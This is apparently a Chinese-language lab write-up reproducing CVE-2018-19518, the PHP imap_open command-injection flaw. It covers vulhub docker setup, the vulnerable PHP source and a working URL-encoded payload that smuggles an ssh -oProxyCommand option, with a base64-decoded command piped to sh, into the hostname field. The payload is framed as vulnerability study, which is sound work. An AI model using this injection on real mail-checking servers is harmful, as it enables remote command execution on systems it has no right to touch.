CVE-2018-19518 IMAP 远程命令执行漏洞分析
0x00 漏洞介绍
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数
imap_open( string $mailbox
,string $user
,string $password
)
其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh,如下图。
又因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞。
ssh -oProxyCommand ="echo test123|tee /tmp/executed"localhost
#其中管道符tee意思是将文件追加到xxx并且在屏幕输出
可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,所以这也就是我们系统被攻击的成因
0x01 影响版本
Ubuntu、Debian、Red Hat、SUSE
0x02 漏洞复现
docker部署环境、以及Ubuntu20.04本地靶机、BurpSuite、HackBar
首先在Ubuntu 20.04下安装docker/docker-compose:
# 安装curl
sudo apt install curl
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装docker
apt-get install -y docker.io
# 启动docker
systemctl start docker
#安装compose
pip install docker-compose
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
#因为在github下载,有可能会很慢,所以再分享一个链接
git clone https://gitee.com/puier/vulhub.git
#解压项目
unzip vulhub-master.zip
cd vulhub-master
# 进入漏洞
cd php/CVE-2018-19518
# 启动整个环境
docker-compose up -d
安装pip的过程可能会报错:
ModuleNotFoundError: No module named ‘distutils.util’
这是因为没有下载这个模块,执行下面命令即可
sudo apt install python3-distutils
配置成功以后,查看它的源码发现,源码直接对我们的hostname进行变量接收,并没有做任何过滤,所以我们就可以造成漏洞。
<?php
if(!empty($_POST)) {
$imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Input your email server</title>
</head>
<body>
<div class="container">
<h2>Test your email server</h2>
<?php if(!empty($_POST)): ?>
<?php if($imap): ?>
<div class="alert alert-success" role="alert">
Connect successful!
</div>
<?php else: ?>
<div class="alert alert-danger" role="alert">
Connect failed!
</div>
<?php endif; ?>
<?php endif; ?>
<form method="post">
<div class="form-group">
<label>Server address</label>
<input type="text" name="hostname" class="form-control" >
</div>
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control" >
</div>
<div class="form-group">
<label>Password</label>
<input type="password" class="form-control" name="password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.4/dist/umd/popper.min.js" integrity="sha256-EGs9T1xMHdvM1geM8jPpoo8EZ1V1VRsmcJz8OByENLA=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha256-VsEqElsCHSGmnmHXGQzvoWjWwoznFSZc6hs7ARLRacQ=" crossorigin="anonymous"></script>
</body>
</html>
进行web浏览访问,可以看出是一个登陆邮箱的界面,这时候我们只需在Sever address也就是hostname变量处添加攻击语句即可
#payload
x+-oProxyCommand=echo echo'1234567890'>/tmp/test0001|base64 -d|sh}
#其中最后一个大括号用来闭合接收变量一开始的括号,类似闭合sql注入里面的单引号. -d选项为decode解码 (%3d)= (%09)TAB 管道符sh,就是把echo'test123'>/tmp/test1 解码以后作为shell脚本的参数,最后在通过ProxyCommand来执行shell
#base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=123&password=123
执行成功以后,进入docker的bash容器,然后查看文件cat /tmp/test0001
docker-compose exec app bash
#不知道我为什么没有app这个服务,所以我换了种方式进入容器
#查看容器id
docker ps
#进入容器
docker exec -it id /bin/bash
进入容器的bash以后打开 cat /tmp/test0001
最后关闭漏洞环境
docker-compose down
参考文献:
https://www.cnblogs.com/biing/p/13049730.html
https://vulhub.org/#/environments/php/CVE-2018-19518/